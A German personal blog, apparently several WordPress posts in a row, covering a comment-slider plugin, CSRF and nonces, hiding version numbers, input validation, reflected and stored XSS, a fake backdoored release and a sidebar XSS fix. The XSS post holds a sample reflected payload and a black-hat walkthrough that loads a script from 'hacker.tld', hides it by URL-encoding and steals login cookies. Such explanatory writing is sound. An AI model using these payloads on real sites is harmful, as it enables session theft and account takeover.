Ist dieses Plugin installiert so muss der Besucher, der einen Kommentar hinterlassen möchte, kein Captcha oder eine Rechenaufgabe lösen, oder der sonst üblichen Methoden Spammer abzuwehren — er braucht nur einen Button anklicken und mit gedrückter Maustaste von links nach rechts schieben. Erst durch diese Aktion werden die Formularfelder der Kommentarfunktion sichtbar. Wer ein iPhone besitzt kennt diese Art der Aktivierung.

Damals gab es noch einen kleinen Bug, weshalb ich das Plugin nicht sofort hier eingebaut habe. Mittlerweile ist der Bug behoben und es ist auch noch die Funktion hinzugekommen den Button mit dem Mauszeiger ohne Klick zu bewegen. In dem Adminpanel, welches auch dazugekommen ist, gibt es neben dem ein- und ausschalten des Klicks, auch die Möglichkeit die CSS-Datei direkt im Backend zu editieren, damit der Slider den eigenen Wünschen angepasst werden kann.

Natürlich konnte ich es nicht lassen im Plugin selber etwas rumzupfuschen. ;O)

Der mitgelieferte quietschgrüne Slider war mein erstes Opfer, wobei ich auch die Hintergrundfarbe angepasst habe. Im PHP-Code ersetzte ich message: "Slide 2 Comment" durch message: "← schieben und kommentieren". Die jquery.min.js muss ich auch nicht zwingend von Google laden, da ich noch 56 kByte Webspace übrig hatte und Google nicht immer benachrichtigen möchte wenn ein Besucher auf meinem Blog ist.

Aus

ist nun

geworden.

Das Plugin kann direkt aus dem “Plugin Directory” von WordPress.org geladen werden. Bisher wurde “Slide2Comment” (wordpress.org) mehr als 600 Mal runtergeladen. Glückwunsch an den Plugin-Autoren Long Hoang und besten Dank für dieses tolle Plugin, von mir und allen Captcha-Hassern dieser Welt. :O)


Update: 10:56 Uhr

Plugin erstmal wieder deaktiviert und die alte Methode aktiviert, da der Erich (erich-kachel.de) gleich eine Lücke für Spammer gefunden hat. :O)

Da werde ich nun selber im Quellcode schauen müssen wie ich Spammer abhalten kann, denn nach wie vor hasse ich Captcha & Co.

Kevin Beaver behauptet: Weil kommerzielle Schwachstellen-Scanner mit dem Aufspüren von CSRF-Lücken Probleme haben, so hätten auch Menschen Probleme beim Auffinden solcher Lücken. Und es wäre auch schwer eine gefundene Lücke auszunutzen. Seine Schlussfolgerung daraus: Man solle dieser Art von Schwachstelle weniger Beachtung schenken und lieber die offensichtlichen, leicht auffindbaren Lücken suchen und schließen.

Erst über den Blogeintrag “CSRF Isn’t A Big Deal – Duh!” (ha.ckers.org) von Robert “RSnake” Hansen bin ich auf Kevin Beaver gekommen.

Kevin Beaver hat angeblich 20 Jahre Erfahrung in der Branche. Und erzählt so etwas seinen Kunden? Wieder ein spezieller Experte. ;O)


Ich weiß nicht wie der Algorithmus eines Web Vulnerability Scanner aufgebaut ist um Lücken zu Cross-Site Request Forgery (de.wikipedia.org) zu finden, aber für mich als Human Web Vulnerability Scanner ist das Auffinden recht einfach.

Wenn eine CSRF-Lücke vorliegt besteht kaum ein Problem ein funktionierenden Exploit zu erstellen, etwas HTML- und JavaScript-Kenntnisse reichen vollkommen aus. Der Angreifer muss sein Opfer nur noch auf eine präparierte Website locken, um zum Ziel zu kommen.


Wenn beispielsweise das Anlegen eines neues Users in einem CMS über ein Formular erfolgt welches folgende Daten versendet:

http://wordpress/wp-admin/user-new.php
[POST]
action=adduser
&user_login=tester
&email=name@mail.tld
&pass1=12345678
&pass2=12345678
&role=administrator


So kann man davon ausgehen das eine CSRF-Lücke vorliegt.

In WordPress gibt es aber noch den Parameter _wpnonce der CSRF verhindert:

http://wordpress/wp-admin/user-new.php
[POST]
_wpnonce=abc123xyz789
&action=adduser
&user_login=tester
&email=name@mail.tld
&pass1=12345678
&pass2=12345678
&role=administrator


Der Wert hinter _wpnonce ist für eine bestimmte Aktion und einen bestimmten Blog immer derselbe. Sollte es, evtl. über eine Sicherheitslücke, möglich sein diesen Wert aus einem fremden Blog auszulesen oder ihn zu berechnen, so täte sich eine CSRF-Lücke auf.

Daher sei gesagt: Nur die aktuellste Version von WordPress ist die sicherste!

Das liest sich wie: “Das beste Windows aller Zeiten.” :O)

In meinem Blog konnte ich bisher keinen Angriff auf die Lücken der WP-Versionen vor 2.8.4 feststellen. Was wohl daran liegen mag, dass mein Blog eher unbedeutend und unbekannt ist, aber evtl. auch damit zusammenhängt, dass man bei mir nicht sehen kann welche Version hier aktuell läuft.

In “WordPress für C64” hatte ich bereits darüber geschrieben wie man die Ausgabe der Versionsnummer ändert.


Ich behaupte mal: Die Ausgabe der Versionsnummer einer Software zieht Angreifer an.

Wenn bekannt wird das in der Version 0.8.1.5 einer Software eine Lücke steckt, dann werden natürlich alle Scriptkiddies dieser Welt genau nach dieser Version suchen. Da ist es dann sehr dumm, wenn die Software die Versionsnummer ausplaudert und diese, wie bei CMS, Foren, Blogs, etc. üblich, auch über Suchmaschinen auffindbar ist.


Gestern meinte jemand in einem Kommentar auf meinen vorletzten Eintrag:

Ich warte sehnsüchtig auf eine kostenpflichtige WordPress-Version, die wirklich sicher ist.

Also, wirklich sichere Software gibt es nicht. Es gibt nur Software, bei der bisher keine Lücke bekannt geworden ist und nur deshalb als sicher gilt, was aber nicht ausschließt, dass unbekannte Lücken bereits ausgenutzt werden.

Warum findet man in einem Script, welches Downloads ermöglichen soll, folgendes?
Select Case strFileType
(...)
Case ".asp"
ContentType = "text/asp"
(...)
End Select
Und warum kann man auch noch den Pfad auf alle Verzeichnisse ändern, bis hoch zum Root?

Nicht weil jemand für seine Arbeit kein Geld bekommt, sondern weil er sein mitgeliefertes Hirn nicht benutzt hat.

Man soll es kaum glauben, aber auch in Software die 20.000 € und mehr kostet, findet man genau solche Lücken. Also kann man nicht davon ausgehen, dass die Sicherheit einer Software davon abhängig ist, wie viel oder ob sie etwas kostet.


Was für das Betriebssystem gilt gilt auch für die Blogsoftware – immer auf den neuesten Stand halten und updaten.

Es geht um die wp-login.php und die Zeile 188:
$key = preg_replace('/[^a-z0-9]/i', '', $key);

Was macht denn nun diese eine Zeile PHP? Eigentlich nicht viel, sie wandelt nur alle Zeichen die nicht Buchstaben (a-z) oder Ziffern (0-9) sind in das Zeichen zwischen den Hochkommas '' um, löscht sie also. Ja, das war schon alles. Diese eine Zeile Code macht nun WordPress nicht unsicher, zeigt aber, wie Herr Ruef es nennt, eine “Art der defensiven Programmierung”.

Da $key (laut Ruef) nur ein MD5-Hash sein darf,

• Buchstaben von a bis f
• Ziffern von 0 bis 9
• Länge: 32 Zeichen

ist ganz klar festgelegt, was vom Script verarbeitet werden darf und was sofort als Fehlfunktion bzw. Angriff eines Hackers gewertet und abgebrochen werden muss.

Hätten sich die WP-Entwickler ähnliche Gedanken über die Sicherheit gemacht wie Herr Ruef, so würden alle Prüfungen die nach der Zeile 188 vorgenommen werden, auch wenn es kein MD5-Hash ist, nicht ausgeführt – die weitere Verarbeitung würde mit einer Fehlermeldung abgebrochen werden – aber dem ist leider nicht so.

Genau solche vermeintlichen Kleinigkeiten, führen in der Summe eines Projektes (WP hat 276 PHP-Dateien), im Zusammenspiel unzähliger Scripte, sehr schnell zu Fehlern, die dann eben doch kritisch sein können.


Ich habe es ja auch immer wieder mit Entwicklern zutun, die eher darauf schauen das ihr Code schnell ausgeführt wird und möglichst wenig Zeilen verbraucht (sic!). Sie wollen oft nicht einsehen, dass es immer besser ist, sich den Code auch von der Seite des Hackers her anzuschauen und zum Beispiel alle Benutzereingaben abzufangen und auszuschließen, die nicht benötigt werden.


Warum muss z.B. ein Feld für deutsche Postleitzahlen mehr als 5 Ziffern aufnehmen, Buchstaben und Sonderzeichen erlauben und in der Datenbank 255 Zeichen speichern können? Damit sich der Entwickler keine Arbeit machen muss, wenn ein nicht-Deutscher sich verlaufen hat. ;O)

Bisschen ergoogelt (ext:sql dump blz|plz):

`plz` varchar(64)
…
`PLZ` int(11)
…
`plz` decimal(10,0)
…
`plz` varchar(255)
…
`blz` text
…
`blz` varchar(64)

Passend zu mehr Sicherheit in WP dies:
“Mehr Sicherheit für WordPress 2.8.5” (entwickler.de)

Da soll der Admin in Zukunft nur noch bestimmte Datei-Typen in die Mediathek hochladen können und ein gehackter Admin-Account von WordPress wird damit sicherer?!

entwickler.de bezieht die Info von Robert Wetzlmayr:
“Neu in WordPress 2.8.5: Sichere Mediathek” (talkpress.de)

Und auch der offizielle deutsche WordPress-Blog schreibt:
“Neue Sicherheitsbestimmung für die Mediathek in 2.8.5” (blog.wordpress-deutschland.org)

Was hindert den Hacker daran, der nun Admin ist, ein Plugin zu installieren, mit dem er die MIME-Typen der Whitelist wieder aufbohrt? Und was hindert ihn daran, einfach im Theme eine Datei zu editieren, um dort eine R57-Shell einzufügen?

Ich kann nur hoffen das die WP-Entwickler diese Änderung nicht wirklich als Beitrag zu mehr Sicherheit in WordPress einstufen.

Nun kann man sich die Arbeit machen und wie in dem Blogbeitrag beschrieben die Dateien austauschen bzw. selber editieren und dann hoffen das alles funktioniert, oder man bemüht noch einmal die Suchmaschine seiner Wahl, und stößt auf “WP-Slimbox2″ (transientmonkey.com).

“WP-Slimbox2″ nutzt das gleiche JavaScript-Framework wie WordPress selber, wodurch es dann eben nicht den Konflikt zwischen jQuery und Prototype gibt. Man muß nichts am Quellcode irgendeiner Datei ändern. Ich habe nur das alte “Slimbox WordPress Plugin” (4mj.it) gegen das neue Plugin ausgetauscht, fertig und schon funktioniert “WP Ajax Edit Comments” wieder. :O)


Das neue Theme ist wieder von Webfunk (web-funk.de), in dem nun in den Kommentaren die kleinen Bildchen von Gravatar (gravatar.com) eingeblendet werden. Und, wie ich finde, wird es nun auch etwas übersichtlicher, da Antworten auf Kommentare eingerückt werden.

WOW! BOAH!

Sehr schön was die Jungs und Mädels da entwickelt haben. Das neue Backend ist sehr viel übersichtlicher geworden, man kann viele Elemente ausblenden oder anders positionieren.

Hier gibt es eine Übersicht über alle neuen Features:
Änderungen im 2.7 Administrationsbereich (blog.wordpress-deutschland.org)


Wer in WordPress das Fluency-Admin-Plugin installiert hat, damit das Backend etwas übersichtlicher wird

der wird nach dem Update auf 2.7 evtl. eine kleine Überraschung erleben…

Alle Menüpunkte links sind verschwunden, aber keine Panik, einfach die http://domain.tld/wp-admin/plugins.php aufrufen und Fluency-Admin deaktivieren.

Der Autor des Plugins hat eine neue Version nachgeschoben, die auch mit der 2.7 funktioniert: http://deanjrobinson.com/projects/fluency-admin/

Vielen Dank! an Dean J. Robinson für sein tolles Plugin, welches ich bisher bei jeder Neuinstallation von WordPress mitinstalliert habe, aber nun wohl nicht mehr benötige.

Zum abspielen der MP3s jeweils auf den Pfeil klicken, das Wort ist direkt mit der Datei verlinkt.

Fuck?! (kastriertes männliches Schwein)
(Wahscheinlich das was das Schwein “danach” denkt. <g>)

Hoodan (Spüllappen)
(Das hat jetzt wohl nichts mit dem Fuck! zutun? <g>)

Aftrmääta, Mörada, Eada (Dienstag)

Naana, Maale (Großmutter)

Rotzmugge, Sommervögelie (Sommersprossen)

Keine WebSite die die Welt dringend braucht, aber für etwas Spaß an exotischen Sprachen reicht es und es hat mir ein neues WP-Plugin beschehrt und das noch vor Weihnachten. :O)

Als WP-Plugin zum Abspielen habe ich den “1 Bit Audio Player” (wordpress.org) eingefügt. Man braucht nur die MP3s zu verlinken, das Plugin erkennt automatisch an der Dateiendung das es den Playbutton anhängen soll.

Auf xss-wp.18c.de habe ich ein WordPress installiert, in dem einige XSS-Demos gezeigt werden. Da WordPress von Haus aus keine, mir bekannte, XSS-Lücke besitzt habe ich im Theme mit etwas unsicherem Code nachgeholfen.

Da ich weiß das immer irgendwo ein Bug stecken könnte, habe ich “mir bekannte” eingeschoben. Und wie zur Unterstreichung meiner Annahme gab es auch gestern gleich ein Update von WordPress, auf Version 2.6.5 (wordpress-deutschland.org), weil in der 2.6.3 zwei XSS-Lücken stecken. Die Version 2.6.4 wird übersprungen, da es eine Fake-Version mit dieser Versionsnummer gab. “Fake WordPress site distributing backdoored release” (zdnet.com)
</einschub>

Die Art von Cross-Site Scripting bei der man in die URL etwas einfügt

http://domain.tld/pid=4715&title="><h1>XSS</h1>

was dann irgendwo auf der WebSite wieder ausgegeben wird, nennt man nicht-persistent oder reflektives Cross-Site Scripting. Reflektiv – trifft es sehr gut, da der Browser per URL etwas sendet (u.a. auch den XSS-Code) und dieses dann selber wieder anzeigt.

Dies hört sich im ersten Moment nicht so schlimm an – der Browser sendet etwas was er dann selber wieder anzeigt. Naja… da JavaScript im Browser fast alles darf, außer Dateien zu schreiben, ist damit eben u.a. auch die Aufzeichnung von Tastatureingaben möglich, wie ich gestern schon erwähnte.


XSS mal betrachtet aus der Sicht eines BlackHat-Hackers.

• In dem Shop-XYZ habe ich eine XSS-Lücke gefunden, über die ich per
  <script src=http://hacker.tld/xss.js></script>
  mein eigenes JavaScript nachladen kann.
• Die Bekanntheit des Shops ist sehr groß, da es ein Shop ist der schon seit Jahrzehnten im Versandhandel tätig ist und nun von den dicken, gedruckten Katalogen auf das Internet umsteigt.
• Nun suche ich mir ein Produkt im Shop heraus welches beliebt ist. Mit der URL zum Produkt verknüpfe ich mein JavaScript, ich injiziere in die korrekte URL meinen Nachlade-Code.
• Als Hacker benutze ich allerdings die codierte Form meiner Linkmanipulation:
  aus <script src=http://hacker.tld/xss.js></script>
  wird %3C%73%63%72%69%70%74%20%73%…
  Otto-Normal-User kann nicht erkennen was das ist, aber da er es schon von anderen WebSites gewohnt ist lange unverständliche URLs im Browser angezeigt zu bekommen, schöpft er keinen Verdacht.
  Auch hilft mir diese Codierung das verschiedene Browser diese URL ohne Fehlermeldung fressen.
• In Foren und Web 2.0-Communities wird gerne nach Produktempfehlungen gefragt. Ich antworte dem Suchenden und da ich ja nett bin, gleich mit meinem Link zum Produkt.
• Da nicht nur der eine, der gefragt hat, auf den Link klickt sondern alle die sich für das Produkt interessieren, habe ich schon nach kurzer Zeit relativ viele Shop-Besucher die mein JavaScript benutzen…
• Was mein JavaScript dann im Browser der Shop-Besucher alles anstellt… vom Ausspähen von Passworten und Cookies bis zum Nachladen von Viren, Würmern und Trojanern… bleibt mir, bzw. meinem Auftraggeber, überlassen.
• Wenn der Shop Cookies schreibt, um den Shop-Besucher beim nächsten Einkauf widerzuerkennen und um ihm auch die Anmeldeprozedur, mit Benutzername und Passwort, abzunehmen… – tja, da besteht eine hohe Wahrscheinlichkeit das ich mir von meinem JavaScript die Daten der Anmelde-Cookies senden lasse.
• Wenn in dem Shop dann auch noch die Passworte im Klartext gespeichert werden, dann kann ich nach dem Login mal kurz die E-Mail-Adresse ändern und mir per Passwort-Erinnerungs-Funktion das Passwort zusenden lassen, sofern es nicht schon irgendwo im myShop-Profil angezeigt wird.
• Wenn mein Opfer zu den vielen Passwort-Recyclern gehört und ein Passwort für mehrere verschiedene WebSites (eBay, Paypal, Web.de, GMX, etc.) benutzt, so kann ich damit natürlich noch etwas mehr Unfug anstellen… Vielleicht arbeitet er ja für eine Firma, wo ich mich dann mit dem Passwort in deren Intranet einloggen kann?! Mal schauen was die Forschungsabteilung so treibt…

Zur Ergänzung:

Persistentes (persistent) oder beständiges (stored) Cross-Site Scripting unterscheidet sich vom reflektiven XSS prinzipiell nur dadurch, dass der Schadcode auf dem Webserver gespeichert wird, wodurch er bei jeder Anfrage ausgeliefert wird. Dies ist bei jeder Webanwendung möglich, die Benutzereingaben serverseitig speichert und diese später wieder ausliefert, solange keine Prüfung der Benutzereingaben bzw. eine geeignete Kodierung der Ausgabe stattfindet.

Quelle: de.wikipedia.org


Es gibt natürlich viele Variationen von dem was ein BlackHat-Hacker mit XSS-Lücken anstellen kann:

• Die Anzeige von Börsenkursen auf einer WebSite gezielt manipulieren, in der Hoffnung das diese Manipulation zu der gewünschten echten Kursbewegung führt.
• Nachrichten auf einer Zeitung-/Magazin-Seite manipulieren um Ängste, Panik oder Kaufbereitschaft für ein Produkt zu erzeugen.
• Werbebanner zu Produkten einfügen. Es wird die Reputation einer WebSite genutzt um dubiose Produkte zu verkaufen oder um einen Imageverlusten der WebSite herbeizuführen.
• Persistentes XSS kann zur Steigerung von PageImpressions missbraucht werden, um die eigenen Besucherzahlen zu schönen und um dem Werbekunden, auf Grund der hohen Besucherzahlen, einen höheren Preis zu berechnen.

Also liebe Entwickler, mal etwas über den Tellerrand hinaus denken. Die kriminelle Energie und der Einfallsreichtum der BlackHat-Hacker ist unerschöpflich.


Noch kurz etwas zu White-, Black- und GrayHat-Hackern:

• White-Hats (“Weiß-Hüte”)
  Verwenden ihr Wissen innerhalb sowohl der Gesetze als auch der Hackerethik, beispielsweise indem sie professionelle Penetrationstests ausführen.
• Black-Hats (“Schwarz-Hüte”)
  Handeln mit krimineller Energie und beabsichtigen beispielsweise, das Zielsystem zu beschädigen oder Daten zu stehlen.
• Grey-Hats (“Grau-Hüte”)
  Verstoßen möglicherweise gegen Gesetze oder restriktive Auslegungen der Hackerethik, allerdings zum Erreichen eines höheren Ziels. Beispielsweise durch die Veröffentlichung von Sicherheitslücken, um ein Leugnen unmöglich zu machen und die Verantwortlichen dazu zu zwingen, diese zu beheben. Grey-Hats zeichnen sich dadurch aus, dass sie nicht eindeutig als “gut” oder “böse” einzustufen sind.

Quelle: de.wikipedia.org

“Fake WordPress site distributing backdoored release” (zdnet.com)

Die Domain wurde am 31. Oktober registriert. Gestern wurde ein Update durchgeführt, bei dem wohl die IP-Adresse gelöscht wurde, denn z.Zt. funktioniert kein Ping oder Traceroute.

Leider (sorry <g>) funktioniert wordpresz.org nicht mehr, denn es interessiert mich natürlich schon sehr wie die Jungs es geschafft haben, das man im Backend seines Blogs eine Meldung zu einem neu angebotenen Update angezeigt bekommt.

Ich vermute mal das an dem Problem nicht alleine WordPress schuld ist, evtl. ein korruptes Plugin, offene Server die Uploads ermöglichen oder sonst irgendetwas, was nichts mit der WP-Installation selber zutun hat.

Der Faker hat einen sehr dummen Fehler gemacht – was aber auch ein Glück für viele ist – er hat den falschen Zeitpunkt gewählt. Wenn er kurz nachdem ein echtes Update angeboten wird seine Aktion gestartet hätte, dann wären sicher sehr viel mehr Blogs verseucht worden.

Craig Murphy war eines der Opfer die der Faker fast erwischt hätte:
“WordPresz 2.6.4 – fake?” (craigmurphy.com/blog/)

“Sicherheitsproblem mit dem default-Theme” (blog.wordpress-deutschland.org)

In dem Default-Theme steckt ein Bug, allerdings nur in der lokalisierten Version, also für alle die die deutschsprachige Version benutzen: “WordPress Default DE-Edition”

Wenn man das Theme benutzt und selber Änderungen im Quellcode der Sidebar vorgenommen hat, dann ist das einfache Ersetzen der sidebar.php nicht wirklich sinnvoll. ;O)

In Zeile 33 wurde das wp_specialchars() hinzugefügt. Die Zeilennummer ist natürlich nur die 33 wenn man davor nicht irgendetwas hinzugefügt oder gelöscht hat… ist ja klar, also einfach nach dem Inhalt suchen.

In Zeile 33 der ursprünglichen alten sidebar.php steht:
<p><?php printf(__('You have searched the <a href="%1$s/">%2$s</a> blog archives for <strong>&#8216;%3$s&#8217;</strong>. If you are unable to find anything in these search results, you can try one of these links.', 'kubrick'), get_bloginfo('url'), get_bloginfo('name'), get_search_query()); ?></p>

und in der gefixten Version:
<p><?php printf(__('You have searched the <a href="%1$s/">%2$s</a> blog archives for <strong>&#8216;%3$s&#8217;</strong>. If you are unable to find anything in these search results, you can try one of these links.', 'kubrick'), get_bloginfo('url'), get_bloginfo('name'), wp_specialchars(get_search_query(), true)); ?></p>

Das Austauschen dieser einen Zeile sollte das Problem beheben.